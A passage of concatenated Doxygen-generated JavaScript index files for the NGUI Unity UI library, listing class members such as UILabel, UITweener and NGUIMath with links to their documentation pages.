[ "stretchToFill", "dd/d4d/class_u_i_anchor.html#a8a311b069e02639267d371f5cb75e191", null ],
[ "uiCamera", "dd/d4d/class_u_i_anchor.html#afe734d956d4091b0b533676cdc564eb3", null ]
];<file_sep>/nguiApi/NGUIDocs/de/df8/class_u_i_button_color.js
var class_u_i_button_color =
[
[ "duration", "de/df8/class_u_i_button_color.html#af5d787d257ac906a90c90712e3d34160", null ],
[ "hover", "de/df8/class_u_i_button_color.html#ae579f4148d3e94f75b45a9dcedd2f9f6", null ],
[ "pressed", "de/df8/class_u_i_button_color.html#a94ffb5202f64d68d24950b21c893f7ba", null ],
[ "tweenTarget", "de/df8/class_u_i_button_color.html#aebb73e7a3ee80001c85ae685c0c738c4", null ]
];<file_sep>/nguiApi/NGUIDocs/d1/d5e/class_u_i_viewport.js
var class_u_i_viewport =
[
[ "bottomRight", "d1/d5e/class_u_i_viewport.html#abf249686356493a811fd23a4f49d5b07", null ],
[ "fullSize", "d1/d5e/class_u_i_viewport.html#a2cceb2cbcaf3cc1af91408e157166be8", null ],
[ "sourceCamera", "d1/d5e/class_u_i_viewport.html#a0ee3490389bb7b4a9681cf014d7e65f3", null ],
[ "topLeft", "d1/d5e/class_u_i_viewport.html#a5b3cbf366ec5b5552af389af52a647f3", null ]
];<file_sep>/nguiApi/NGUIDocs/search/all_6a.js
var searchData=
[
['jsondecode',['jsonDecode',['../d2/d10/class_n_g_u_i_json.html#ad64421aa90ecf47b619baa5c502b537c',1,'NGUIJson']]],
['jsonencode',['jsonEncode',['../d2/d10/class_n_g_u_i_json.html#a72b878eb5e662ae0e814c2aff4b15896',1,'NGUIJson']]]
];
<file_sep>/nguiApi/NGUIDocs/d6/d52/class_n_g_u_i_menu.js
var class_n_g_u_i_menu =
[
[ "AddCollider", "d6/d52/class_n_g_u_i_menu.html#a08808f1b45c7d13204dbd9c3f04301b6", null ],
[ "AddPanel", "d6/d52/class_n_g_u_i_menu.html#a71edee7bb97961e4c3fe5c919e44936a", null ],
[ "CreateUIWizard", "d6/d52/class_n_g_u_i_menu.html#a43c5136ce6c68e79a8a537ec51712174", null ],
[ "CreateWidgetWizard", "d6/d52/class_n_g_u_i_menu.html#a6fa953482f534fec5861c97b7d34c562", null ],
[ "OpenAtlasMaker", "d6/d52/class_n_g_u_i_menu.html#ae56a121a2e409c709f299a759455bf9d", null ],
[ "OpenCameraWizard", "d6/d52/class_n_g_u_i_menu.html#a165ffe50a7af761abc6722dbc0137da8", null ],
[ "OpenFontMaker", "d6/d52/class_n_g_u_i_menu.html#abecc071c8a49e607801f104b9f0cffb5", null ],
[ "OpenPanelWizard", "d6/d52/class_n_g_u_i_menu.html#a2e9798dde3e46445093971d0f5b9de9b", null ],
[ "SelectedRoot", "d6/d52/class_n_g_u_i_menu.html#af3ad423a540f0c9845e03877736e76d1", null ]
];<file_sep>/nguiApi/NGUIDocs/db/d63/class_u_i_button_offset.js
var class_u_i_button_offset =
[
[ "duration", "db/d63/class_u_i_button_offset.html#a080d1c47858478ea94cfed63dfddb2b5", null ],
[ "hover", "db/d63/class_u_i_button_offset.html#a297f9b5c16fd7098e004c7309d8f8fb6", null ],
[ "pressed", "db/d63/class_u_i_button_offset.html#ab977e3dc13eb49d0143d189303c67f55", null ],
[ "tweenTarget", "db/d63/class_u_i_button_offset.html#ac3c92ed587cb291bc2cef05ec1ffd614", null ]
];<file_sep>/nguiApi/NGUIDocs/d5/dab/class_u_i_button_scale.js
var class_u_i_button_scale =
[
[ "duration", "d5/dab/class_u_i_button_scale.html#a8ee8d08218b7301a5689eae1a08cb0d7", null ],
[ "hover", "d5/dab/class_u_i_button_scale.html#ac295afde4daa5dc5acb525c0ab942538", null ],
[ "pressed", "d5/dab/class_u_i_button_scale.html#ac4748aa5994f6deec52a2ab39f625947", null ],
[ "tweenTarget", "d5/dab/class_u_i_button_scale.html#aab7909e88123dd150d75e7c79f18c67e", null ]
];<file_sep>/nguiApi/NGUIDocs/d6/d23/class_active_animation.js
var class_active_animation =
[
[ "Play", "d6/d23/class_active_animation.html#a67f4c05658fde8aae9cf36ecfe152a42", null ],
[ "Play", "d6/d23/class_active_animation.html#a0684b3750a4cb287a6fd2aefd7f32b77", null ],
[ "Play", "d6/d23/class_active_animation.html#a7486a4551796647171eea0d05ef340ef", null ],
[ "Reset", "d6/d23/class_active_animation.html#ad9c29344780eecf4eb62d35e1cc3c3bf", null ],
[ "callWhenFinished", "d6/d23/class_active_animation.html#adf1c5a00747e48b6c9dc18b88c2f8ae3", null ]
];<file_sep>/nguiApi/NGUIDocs/d9/de0/class_u_i_image_button_inspector.js
var class_u_i_image_button_inspector =
[
[ "OnInspectorGUI", "d9/de0/class_u_i_image_button_inspector.html#aee285bcda7e8548372159a89f96a227b", null ]
];<file_sep>/nguiApi/NGUIDocs/search/variables_70.js
var searchData=
[
['padding',['padding',['../db/d4a/class_u_i_item_storage.html#a1dbedfb75e2a77d3dcd534adb3391def',1,'UIItemStorage.padding()'],['../d0/dcb/class_u_i_popup_list.html#aa91fb915060da2b0da3ff71fd70d7cce',1,'UIPopupList.padding()']]],
['position',['position',['../d0/dcb/class_u_i_popup_list.html#acb4c502c6955a09c9f97f95272a1b578',1,'UIPopupList']]]
];
<file_sep>/nguiApi/NGUIDocs/db/d3d/class_u_i_tweener.js
var class_u_i_tweener =
[
[ "Method", "db/d3d/class_u_i_tweener.html#a777444e769dac6f3f472b02567d2d129", null ],
[ "Style", "db/d3d/class_u_i_tweener.html#acbe46a747335493be984e6e5a88ebcf9", null ],
[ "Animate", "db/d3d/class_u_i_tweener.html#a9d9d06bada80e73af10ae59725495e52", null ],
[ "Begin< T >", "db/d3d/class_u_i_tweener.html#acb3a2e6de01c0b37c4a3f7e7c80b4682", null ],
[ "OnUpdate", "db/d3d/class_u_i_tweener.html#a22bad0bb6e8ebcd75f33ab4ee7dcfc40", null ],
[ "Play", "db/d3d/class_u_i_tweener.html#a3efd9ad10e0630df1e1fa92b5d98a4b3", null ],
[ "Reset", "db/d3d/class_u_i_tweener.html#a79fb68d0ae50721d7fe351d8725bbb01", null ],
[ "Toggle", "db/d3d/class_u_i_tweener.html#adfa96ed8007042236f4fa79a2d7b8be8", null ],
[ "callWhenFinished", "db/d3d/class_u_i_tweener.html#a040bbe7caf777551159b81830cb2abe7", null ],
[ "duration", "db/d3d/class_u_i_tweener.html#a8b0d2007cc5bb8a4f15376e9f79d5f47", null ],
[ "eventReceiver", "db/d3d/class_u_i_tweener.html#a52b4f5b3ebc624c6137c9b9894e2d828", null ],
[ "method", "db/d3d/class_u_i_tweener.html#af29adcd2bf734700b944d86b91077788", null ],
[ "style", "db/d3d/class_u_i_tweener.html#a8e99adea86bc7dbed894862c61b16472", null ],
[ "tweenGroup", "db/d3d/class_u_i_tweener.html#a4e68360886bb3298cdd86b8f0326770c", null ],
[ "amountPerDelta", "db/d3d/class_u_i_tweener.html#a5c2636d93c024c9172ec7ee3488ba9ee", null ]
];<file_sep>/nguiApi/NGUIDocs/d7/dbc/class_tween_rotation.js
var class_tween_rotation =
[
[ "Begin", "d7/dbc/class_tween_rotation.html#a012db983d95c2f9ebd7ea2e72d5c497e", null ],
[ "OnUpdate", "d7/dbc/class_tween_rotation.html#afa50cd75e8f3a581cd063f2d34d761c2", null ],
[ "from", "d7/dbc/class_tween_rotation.html#a916021b1681e8a42565f9ecfce4a9df5", null ],
[ "to", "d7/dbc/class_tween_rotation.html#a82f0fb89bf93dc9b6a7fa85a79ea906a", null ],
[ "rotation", "d7/dbc/class_tween_rotation.html#a667629f0afe1e002a09b2e6abb3d9bca", null ]
];<file_sep>/nguiApi/NGUIDocs/db/d96/class_u_i_create_widget_wizard.js
var class_u_i_create_widget_wizard =
[
[ "WidgetType", "db/d96/class_u_i_create_widget_wizard.html#a57b6c31d65033999da4a9176c17bc10d", null ]
];<file_sep>/nguiApi/NGUIDocs/db/d1c/class_u_i_label.js
var class_u_i_label =
[
[ "Effect", "db/d1c/class_u_i_label.html#a27fcf1893e677a13303c52730888cf5a", null ],
[ "MakePixelPerfect", "db/d1c/class_u_i_label.html#a1e87ad67f5f4b7cbeb1c709a601f0266", null ],
[ "MakePositionPerfect", "db/d1c/class_u_i_label.html#a61e4edda120df44d9dc37ac8fea4a55e", null ],
[ "MarkAsChanged", "db/d1c/class_u_i_label.html#ab0edbb501e9395523800206da07a26b2", null ],
[ "OnFill", "db/d1c/class_u_i_label.html#a29fc313319c10c14c67bf40dee6f7ad6", null ],
[ "OnStart", "db/d1c/class_u_i_label.html#abf6f5422034de42a8c08a258534980bc", null ],
[ "effectColor", "db/d1c/class_u_i_label.html#a8ff93ade91ff677d2e6c1277c145c95e", null ],
[ "effectStyle", "db/d1c/class_u_i_label.html#a693d2574d3d3f995b8e548f74ec944ac", null ],
[ "font", "db/d1c/class_u_i_label.html#a8b38e3fa2eebd325aab7b8c2604d7074", null ],
[ "hasChanged", "db/d1c/class_u_i_label.html#aa3d7ae1c5d3081b5174b67d0f4987599", null ],
[ "lineWidth", "db/d1c/class_u_i_label.html#ab23f9f7d69bb96ed2a663ec7e9c2dbc5", null ],
[ "multiLine", "db/d1c/class_u_i_label.html#abec48a2b6cea796170d764f2c0b989f1", null ],
[ "password", "db/d1c/class_u_i_label.html<PASSWORD>", null ],
[ "processedText", "db/d1c/class_u_i_label.html#afaffe92d1099cb1a1e0f1d6e06cc3a62", null ],
[ "relativeSize", "db/d1c/class_u_i_label.html#ad5a57a9eeaeb43cf64f95cb00fdc8fd6", null ],
[ "showLastPasswordChar", "db/d1c/class_u_i_label.html#<PASSWORD>", null ],
[ "supportEncoding", "db/d1c/class_u_i_label.html#a80bac259fe53a893a95f0e576cf69a00", null ],
[ "text", "db/d1c/class_u_i_label.html#a0f23864c73c5a5af4e944dcd9d5aa9fd", null ]
];<file_sep>/nguiApi/NGUIDocs/de/dcf/class_u_i_label_inspector.js
var class_u_i_label_inspector =
[
[ "OnDrawProperties", "de/dcf/class_u_i_label_inspector.html#ac654e64e8a6cdfd53df551a0be54e139", null ],
[ "OnDrawTexture", "de/dcf/class_u_i_label_inspector.html#a98ace0ad0acc9c3e079fb0f278903e34", null ],
[ "OnInit", "de/dcf/class_u_i_label_inspector.html#a0d794daf07b58cbda2adf5f523438917", null ]
];<file_sep>/nguiApi/NGUIDocs/d2/db3/class_u_i_popup_list_inspector.js
var class_u_i_popup_list_inspector =
[
[ "OnInspectorGUI", "d2/db3/class_u_i_popup_list_inspector.html#a9ab043e7f3e70c8e4d54c4da1b69094a", null ]
];<file_sep>/nguiApi/NGUIDocs/df/d87/class_u_i_button_rotation.js
var class_u_i_button_rotation =
[
[ "duration", "df/d87/class_u_i_button_rotation.html#a28c3796cb3dfa34763e2e2e5b634392b", null ],
[ "hover", "df/d87/class_u_i_button_rotation.html#a4e1c30085a8c32a8cf304bcc8f7bce08", null ],
[ "pressed", "df/d87/class_u_i_button_rotation.html#acb11cec176d4c61075f0943c3e2ef381", null ],
[ "tweenTarget", "df/d87/class_u_i_button_rotation.html#a0c5fc47f74c8a10b261eacfb5b234fc4", null ]
];<file_sep>/nguiApi/NGUIDocs/search/classes_73.js
var searchData=
[
['setcoloronselection',['SetColorOnSelection',['../df/d6b/class_set_color_on_selection.html',1,'']]],
['shaderquality',['ShaderQuality',['../d7/d41/class_shader_quality.html',1,'']]],
['spin',['Spin',['../d2/df0/class_spin.html',1,'']]],
['spinwithmouse',['SpinWithMouse',['../d6/ddd/class_spin_with_mouse.html',1,'']]],
['springposition',['SpringPosition',['../df/d08/class_spring_position.html',1,'']]],
['sprite',['Sprite',['../d1/d1e/class_u_i_atlas_1_1_sprite.html',1,'UIAtlas']]]
];
<file_sep>/nguiApi/NGUIDocs/dc/d8a/class_update_manager_1_1_destroy_entry.js
var class_update_manager_1_1_destroy_entry =
[
[ "obj", "dc/d8a/class_update_manager_1_1_destroy_entry.html#ab58977767da271b8726a82756b3fa926", null ],
[ "time", "dc/d8a/class_update_manager_1_1_destroy_entry.html#abbe2921cc4cfd055612661c188549d97", null ]
];<file_sep>/nguiApi/NGUIDocs/d5/d66/class_u_i_texture_inspector.js
var class_u_i_texture_inspector =
[
[ "OnDrawProperties", "d5/d66/class_u_i_texture_inspector.html#a6a70368e6089b00ca4db51ff7f94aadf", null ],
[ "OnDrawTexture", "d5/d66/class_u_i_texture_inspector.html#a2181fac6b4bef710e7e3a1408cf338d4", null ]
];<file_sep>/nguiApi/NGUIDocs/search/enums_6d.js
var searchData=
[
['modifier',['Modifier',['../d3/dd7/class_inv_stat.html#a4fd36427a28c4a9fdacaf6fda4293707',1,'InvStat']]]
];
<file_sep>/nguiApi/NGUIDocs/de/d39/class_u_i_checkbox.js
var class_u_i_checkbox =
[
[ "checkAnimation", "de/d39/class_u_i_checkbox.html#a75bc98773cbdf55f4d7bf67689fe720c", null ],
[ "checkSprite", "de/d39/class_u_i_checkbox.html#a6426b4806eda619152f7506485fc06c0", null ],
[ "current", "de/d39/class_u_i_checkbox.html#a94e8c9a3cad64eb46a568992bcc49574", null ],
[ "eventReceiver", "de/d39/class_u_i_checkbox.html#a9c5534c5da159d666b985c833cc4c089", null ],
[ "functionName", "de/d39/class_u_i_checkbox.html#a05dbf1df1735738e8448cec8bb5c0612", null ],
[ "option", "de/d39/class_u_i_checkbox.html#ad8673f789155f2c49f737d0bc7004b11", null ],
[ "optionCanBeNone", "de/d39/class_u_i_checkbox.html#a37326ff26d4db016fcdb61bc6e30afb9", null ],
[ "startsChecked", "de/d39/class_u_i_checkbox.html#ab1f08e5b7c15348cd45ed5da2cd08922", null ],
[ "isChecked", "de/d39/class_u_i_checkbox.html#a955510f501df80fecac99d38533dcc35", null ]
];<file_sep>/nguiApi/NGUIDocs/d0/d11/class_n_g_u_i_math.js
var class_n_g_u_i_math =
[
[ "ApplyHalfPixelOffset", "d0/d11/class_n_g_u_i_math.html#ac5f9cafc95df60793cd5f6a41301241f", null ],
[ "ApplyHalfPixelOffset", "d0/d11/class_n_g_u_i_math.html#a4b37a4dea06ce26caa1e5c3917fe68e6", null ],
[ "CalculateAbsoluteWidgetBounds", "d0/d11/class_n_g_u_i_math.html#acac5a5ac1c57a541131e42d60da46ad9", null ],
[ "CalculateRelativeWidgetBounds", "d0/d11/class_n_g_u_i_math.html#a816f3817cd61e77da05bab23c60c7668", null ],
[ "CalculateRelativeWidgetBounds", "d0/d11/class_n_g_u_i_math.html#ab526cfc61a59334f96d9dca314129c68", null ],
[ "ColorToInt", "d0/d11/class_n_g_u_i_math.html#a2b9dece36062116e85bebfa7eeda1376", null ],
[ "ConstrainRect", "d0/d11/class_n_g_u_i_math.html#a07510fcfbabb8768b60621d32083b045", null ],
[ "ConvertToPixels", "d0/d11/class_n_g_u_i_math.html#af9b398234d756829f425c2b5982d2353", null ],
[ "ConvertToTexCoords", "d0/d11/class_n_g_u_i_math.html#acac521a80ff4bf6f9757d2bb7c5fc32d", null ],
[ "HexToColor", "d0/d11/class_n_g_u_i_math.html#ae0f4fbfbbc7c47d63a03a0efd1cb0067", null ],
[ "HexToDecimal", "d0/d11/class_n_g_u_i_math.html#ae7be9da2d0f73a8a497696f692ea454c", null ],
[ "IntToBinary", "d0/d11/class_n_g_u_i_math.html#a6e06bdd8eeddc1253b0dc484fe3d5867", null ],
[ "IntToColor", "d0/d11/class_n_g_u_i_math.html#af88f44df5756aa390ef8331540190426", null ],
[ "MakePixelPerfect", "d0/d11/class_n_g_u_i_math.html#a0193ceab5302ad1c4e72e8f7bb44c083", null ],
[ "MakePixelPerfect", "d0/d11/class_n_g_u_i_math.html#aa1f9aea15a53968a11cefb2be37d1e21", null ],
[ "RotateTowards", "d0/d11/class_n_g_u_i_math.html#a5da9f1efef6c7aa0f5b8b280f2f77b97", null ],
[ "SpringDampen", "d0/d11/class_n_g_u_i_math.html#aa06ea0a858d51fbe288fe796a1210a0c", null ],
[ "SpringLerp", "d0/d11/class_n_g_u_i_math.html#a5341017f7d764b5d633ea2516b81c77f", null ],
[ "SpringLerp", "d0/d11/class_n_g_u_i_math.html#ad1f6b9adadd325a1ac30b8f2ee915cf6", null ],
[ "SpringLerp", "d0/d11/class_n_g_u_i_math.html#a95d627500bd6511b5d2449989b1a41c6", null ],
[ "SpringLerp", "d0/d11/class_n_g_u_i_math.html#aa8ecf9923dcea7b5eb8fd74b5f1fedd3", null ],
[ "SpringLerp", "d0/d11/class_n_g_u_i_math.html#a9c9cb4f0f377b1285cfac368702d68bc", null ],
[ "WrapAngle", "d0/d11/class_n_g_u_i_math.html#a024b86fe4218920b37f22c1940aba03f", null ]
];<file_sep>/nguiApi/NGUIDocs/d3/d23/class_u_i_camera_1_1_mouse_or_touch.js
var class_u_i_camera_1_1_mouse_or_touch =
[
[ "considerForClick", "d3/d23/class_u_i_camera_1_1_mouse_or_touch.html#a89554f2def088337d8661753b5f66301", null ],
[ "current", "d3/d23/class_u_i_camera_1_1_mouse_or_touch.html#aa4426841d826c50d9142222ac6b20e85", null ],
[ "delta", "d3/d23/class_u_i_camera_1_1_mouse_or_touch.html#a1761b867534a46eb668433413067730b", null ],
[ "hover", "d3/d23/class_u_i_camera_1_1_mouse_or_touch.html#ae3ee9bc5c9f80a328c2b943f87028de9", null ],
[ "pos", "d3/d23/class_u_i_camera_1_1_mouse_or_touch.html#a77c9d0ae1d335ff85cd904f8d6551bcc", null ],
[ "pressed", "d3/d23/class_u_i_camera_1_1_mouse_or_touch.html#a6aa05afb0782228e8a613b069270f886", null ],
[ "pressedCam", "d3/d23/class_u_i_camera_1_1_mouse_or_touch.html#aa3b6eaa4a00768f93ed768c567b736c7", null ],
[ "totalDelta", "d3/d23/class_u_i_camera_1_1_mouse_or_touch.html#a6e14dd72293d2be4ba33d8e5e76c8f85", null ]
];<file_sep>/nguiApi/NGUIDocs/df/da8/class_equip_random_item.js
var class_equip_random_item =
[
[ "equipment", "df/da8/class_equip_random_item.html#afb7eb3745bdce67731b3f9c542c5a3e5", null ]
];<file_sep>/nguiApi/NGUIDocs/d5/dd3/class_u_i_camera_tool.js
var class_u_i_camera_tool =
[
[ "LayerMaskField", "d5/dd3/class_u_i_camera_tool.html#a32f16d23c8ce04fae9fce979799fbdfc", null ],
[ "LayerMaskField", "d5/dd3/class_u_i_camera_tool.html#ab8d2068296732314c782d60b213a085a", null ]
];<file_sep>/nguiApi/NGUIDocs/search/variables_6b.js
var searchData=
[
['key',['key',['../d0/dd5/class_u_i_localize.html#a95db9779e5f4758336494616bac78fa3',1,'UILocalize']]]
];
<file_sep>/nguiApi/NGUIDocs/d8/d7e/class_u_i_button_play_animation.js
var class_u_i_button_play_animation =
[
[ "callWhenFinished", "d8/d7e/class_u_i_button_play_animation.html#a3c4a3ddead30bb58fff74e9eb9cee26c", null ],
[ "clipName", "d8/d7e/class_u_i_button_play_animation.html#a06fff25834e78f6a4ad6ea2a8b8d3cdb", null ],
[ "disableWhenFinished", "d8/d7e/class_u_i_button_play_animation.html#a7e4283d07bb3196a5b1ca753fb535b9b", null ],
[ "ifDisabledOnPlay", "d8/d7e/class_u_i_button_play_animation.html#a10c8680fff7fdc117a68ece19c2183d4", null ],
[ "playDirection", "d8/d7e/class_u_i_button_play_animation.html#a8aea4c5f852f435e580bf1bef6d9441f", null ],
[ "resetOnPlay", "d8/d7e/class_u_i_button_play_animation.html#abe9b78d301685811caa6ae9d2fd9faeb", null ],
[ "target", "d8/d7e/class_u_i_button_play_animation.html#aee21b330c6ba71fa09c847ac1cd14e61", null ],
[ "trigger", "d8/d7e/class_u_i_button_play_animation.html#afab5ccc118bedf11e12b7a5635f91a21", null ]
];<file_sep>/nguiApi/NGUIDocs/d6/de2/class_b_m_glyph.js
var class_b_m_glyph =
[
[ "GetKerning", "d6/de2/class_b_m_glyph.html#ab36d41eb26dcf44d748703113d39c886", null ],
[ "SetKerning", "d6/de2/class_b_m_glyph.html#a49d10c2c97efaf142d649e88dded10ae", null ],
[ "Trim", "d6/de2/class_b_m_glyph.html#a12eea2b4a87b5fb3c327df65b218dd91", null ],
[ "advance", "d6/de2/class_b_m_glyph.html#a032b16aff377a69a5d578ea20e74a70b", null ],
[ "height", "d6/de2/class_b_m_glyph.html#aed794aa6e482eb4a99e76571d6152551", null ],
[ "kerning", "d6/de2/class_b_m_glyph.html#a8da6947ea693cfa6fa5c578c55a18125", null ],
[ "offsetX", "d6/de2/class_b_m_glyph.html#a1e65684d46b426313bc98ced183253f7", null ],
[ "offsetY", "d6/de2/class_b_m_glyph.html#a7e0e950e64260666f63c5f99c9d2c37c", null ],
[ "width", "d6/de2/class_b_m_glyph.html#a9ce3efeae8e2292cafd97f870a65b352", null ],
[ "x", "d6/de2/class_b_m_glyph.html#a72d84d75adbb22dafcda5fec312871aa", null ],
[ "y", "d6/de2/class_b_m_glyph.html#adac42ce995195a22e61bcda8c1d74876", null ]
];<file_sep>/nguiApi/NGUIDocs/search/properties_62.js
var searchData=
[
['backdroptexture',['backdropTexture',['../d7/d56/class_n_g_u_i_editor_tools.html#a93b4625db4c36e6e82b1ddebabff5901',1,'NGUIEditorTools']]],
['baseitem',['baseItem',['../d3/dbc/class_inv_game_item.html#a09a08ce3bd8454b415bb7900313a94dd',1,'InvGameItem']]],
['baseitemid',['baseItemID',['../d3/dbc/class_inv_game_item.html#add0f5894fca51f2c6127ea31af7af036',1,'InvGameItem']]],
['blanktexture',['blankTexture',['../d7/d56/class_n_g_u_i_editor_tools.html#a7640a59a33528fd58e7b82fe32c7d86f',1,'NGUIEditorTools']]],
['bmfont',['bmFont',['../d5/de7/class_u_i_font.html#af30779b9908c7f46ab5c8bf505954d9e',1,'UIFont']]]
];
<file_sep>/nguiApi/NGUIDocs/search/variables_6c.js
var searchData=
[
['languages',['languages',['../dd/d88/class_localization.html#acfbb6079c51014609bc068cf813f9a2a',1,'Localization']]],
['lastcamera',['lastCamera',['../de/d25/class_u_i_camera.html#a004f6de3b271e465c6ceb8abfe6a9f5b',1,'UICamera']]],
['lasterrorindex',['lastErrorIndex',['../d2/d10/class_n_g_u_i_json.html#a88f5aba07be8c1c9c4430984fb4a4c03',1,'NGUIJson']]],
['lasthit',['lastHit',['../de/d25/class_u_i_camera.html#a95028b411b80c9afb016568f7a6f9f60',1,'UICamera']]],
['lasttouchid',['lastTouchID',['../de/d25/class_u_i_camera.html#a014f52e936a2b88ed867a4a7784e90bd',1,'UICamera']]],
['lasttouchposition',['lastTouchPosition',['../de/d25/class_u_i_camera.html#a5a20550e03d0346174817d22cbe92c15',1,'UICamera']]]
];
<file_sep>/nguiApi/NGUIDocs/dc/d79/class_u_i_tiled_sprite.js
var class_u_i_tiled_sprite =
[
[ "MakePixelPerfect", "dc/d79/class_u_i_tiled_sprite.html#a6e64824e9a6da3dd958e130f937abd11", null ],
[ "OnFill", "dc/d79/class_u_i_tiled_sprite.html#ab7208f2e81987bfced772eaa8ac5309a", null ]
];<file_sep>/nguiApi/NGUIDocs/search/functions_74.js
var searchData=
[
['toarray',['ToArray',['../d8/d01/class_better_list-g.html#a035cfb5d65fb26a43dbb006930410830',1,'BetterList-g']]],
['toggle',['Toggle',['../db/d3d/class_u_i_tweener.html#adfa96ed8007042236f4fa79a2d7b8be8',1,'UITweener']]],
['trim',['Trim',['../d6/de2/class_b_m_glyph.html#a12eea2b4a87b5fb3c327df65b218dd91',1,'BMGlyph']]]
];
<file_sep>/nguiApi/NGUIDocs/search/properties_69.js
var searchData=
[
['inneruv',['innerUV',['../d2/d9c/class_u_i_sliced_sprite.html#a235df360d0a47a2d9491516223d3e6bf',1,'UISlicedSprite']]],
['ischecked',['isChecked',['../de/d39/class_u_i_checkbox.html#a955510f501df80fecac99d38533dcc35',1,'UICheckbox']]],
['isopen',['isOpen',['../d0/dcb/class_u_i_popup_list.html#a359eb61725ab1d61d90a751492d41df2',1,'UIPopupList']]],
['items',['items',['../db/d4a/class_u_i_item_storage.html#afb8ed34e1d4f40bb48aecba623352d6f',1,'UIItemStorage']]]
];
<file_sep>/nguiApi/NGUIDocs/d8/d96/class_u_i_atlas.js
var class_u_i_atlas =
[
[ "Coordinates", "d8/d96/class_u_i_atlas.html#ad33df68f3c2e01a7e7b332e2afb99424", null ],
[ "CheckIfRelated", "d8/d96/class_u_i_atlas.html#a5ea3366087b2b07fc42818d37c171b3e", null ],
[ "GetListOfSprites", "d8/d96/class_u_i_atlas.html#a0cf055d515556c0b875dc69c99718cc6", null ],
[ "GetSprite", "d8/d96/class_u_i_atlas.html#a00aa51d5a056c5c49732ae58a5f25d7a", null ],
[ "MarkAsDirty", "d8/d96/class_u_i_atlas.html#a3d1e4e83b62d7712ed1ee9ab106657a5", null ],
[ "coordinates", "d8/d96/class_u_i_atlas.html#a592e254b529d92ba9ae9cbd9ed6cbf2f", null ],
[ "replacement", "d8/d96/class_u_i_atlas.html#a6c8c663755c954c0b63133dc9a6348ff", null ],
[ "spriteList", "d8/d96/class_u_i_atlas.html#a022b12594eea4a0e2f25cf2c5bbd7267", null ],
[ "spriteMaterial", "d8/d96/class_u_i_atlas.html#a953fb9967b25d74ecf68c8378892b341", null ],
[ "texture", "d8/d96/class_u_i_atlas.html#a61e1a3d2a6cb9a9b0859f6e97dd01f1d", null ]
];<file_sep>/nguiApi/NGUIDocs/search/all_77.js
var searchData=
[
['watchestransform',['WatchesTransform',['../da/deb/class_u_i_panel.html#a500e35ef5afd328875b1debbd5fd3e2d',1,'UIPanel']]],
['widgets',['widgets',['../da/deb/class_u_i_panel.html#a5d0bc1f4ab8c122c07c7b0f8831a2929',1,'UIPanel']]],
['willloseprefab',['WillLosePrefab',['../d7/d56/class_n_g_u_i_editor_tools.html#aefc6ab99cd49f2d38b26b65ab582cd54',1,'NGUIEditorTools']]],
['windowautoyaw',['WindowAutoYaw',['../d6/da0/class_window_auto_yaw.html',1,'']]],
['windowdragtilt',['WindowDragTilt',['../d5/da7/class_window_drag_tilt.html',1,'']]],
['wrapangle',['WrapAngle',['../d0/d11/class_n_g_u_i_math.html#a024b86fe4218920b37f22c1940aba03f',1,'NGUIMath']]],
['wraptext',['WrapText',['../d5/de7/class_u_i_font.html#a9e7fbdea3f4eb99567d2e605ce106148',1,'UIFont']]],
['writetobuffers',['WriteToBuffers',['../da/dc9/class_u_i_geometry.html#af2ca18e21c111394be7b251c3665e0ce',1,'UIGeometry.WriteToBuffers()'],['../d1/d68/class_u_i_widget.html#a47ab8e7d3d043f78511d013411a3869d',1,'UIWidget.WriteToBuffers()']]]
];
<file_sep>/nguiApi/NGUIDocs/d4/ddd/class_typewriter_effect.js
var class_typewriter_effect =
[
[ "charsPerSecond", "d4/ddd/class_typewriter_effect.html#a74f32059e960e0085a56b78f8d81c4a2", null ]
];<file_sep>/nguiApi/NGUIDocs/search/namespaces_61.js
var searchData=
[
['animationortween',['AnimationOrTween',['../de/d8f/namespace_animation_or_tween.html',1,'']]]
];
<file_sep>/nguiApi/NGUIDocs/search/all_76.js
var searchData=
[
['verticalspacing',['verticalSpacing',['../d5/de7/class_u_i_font.html#a4ed711a01b8a03afd7e2557a2174aea7',1,'UIFont']]],
['verts',['verts',['../da/dc9/class_u_i_geometry.html#a21faf5d28120b8288b1b3378acee39c1',1,'UIGeometry']]],
['visibleflag',['visibleFlag',['../d1/db1/class_u_i_node.html#a2535210e822d28856db4e19638407f33',1,'UINode.visibleFlag()'],['../d1/d68/class_u_i_widget.html#ad63c8c738ccc52a3e85dfab7688c1a87',1,'UIWidget.visibleFlag()']]],
['visiblesize',['visibleSize',['../d1/d68/class_u_i_widget.html#a7bc78c7bd9f8bc3e0fb2d42b5ede2f8f',1,'UIWidget']]]
];
<file_sep>/nguiApi/NGUIDocs/search/variables_64.js
var searchData=
[
['databaseid',['databaseID',['../d9/d9a/class_inv_database.html#aacf09495ebfdfd924a2822978ac1b889',1,'InvDatabase']]],
['depthpass',['depthPass',['../da/deb/class_u_i_panel.html#a18491df0763530d1092cb8abc16b4ce7',1,'UIPanel']]],
['description',['description',['../db/dd9/class_inv_base_item.html#a67250624387c234039546cfff3070c37',1,'InvBaseItem']]],
['drageffect',['dragEffect',['../d5/dc0/class_u_i_drag_camera.html#a83963660ffff3345b8174691146bf716',1,'UIDragCamera.dragEffect()'],['../dc/d57/class_u_i_drag_object.html#aa8a53af73daa5b58f63e253dfb371d3b',1,'UIDragObject.dragEffect()']]],
['duration',['duration',['../db/d3d/class_u_i_tweener.html#a8b0d2007cc5bb8a4f15376e9f79d5f47',1,'UITweener']]]
];
<file_sep>/nguiApi/NGUIDocs/da/da0/class_u_i_create_new_u_i_wizard.js
var class_u_i_create_new_u_i_wizard =
[
[ "CameraType", "da/da0/class_u_i_create_new_u_i_wizard.html#a25bcedde1df0797cc0151ae6d280ecd7", null ],
[ "layer", "da/da0/class_u_i_create_new_u_i_wizard.html#a5bfd5f1e7cf11fff2374285b6bfe3b1a", null ]
];<file_sep>/nguiApi/NGUIDocs/df/d3a/class_u_i_filled_sprite_inspector.js
var class_u_i_filled_sprite_inspector =
[
[ "OnDrawProperties", "df/d3a/class_u_i_filled_sprite_inspector.html#acc34efb6d7ff8feb3b66d905365c658c", null ]
];<file_sep>/nguiApi/NGUIDocs/db/dd9/class_inv_base_item.js
var class_inv_base_item =
[
[ "Slot", "db/dd9/class_inv_base_item.html#a9e615b5753a98909f13aaa85d9e4adef", null ],
[ "attachment", "db/dd9/class_inv_base_item.html#af511d4dac210711beececb91da2f7530", null ],
[ "color", "db/dd9/class_inv_base_item.html#a71e82d2bb6dda62e4cbc11d9c46c8f3b", null ],
[ "description", "db/dd9/class_inv_base_item.html#a67250624387c234039546cfff3070c37", null ],
[ "iconAtlas", "db/dd9/class_inv_base_item.html#a47f0074438550c2f587ac93dde9cc526", null ],
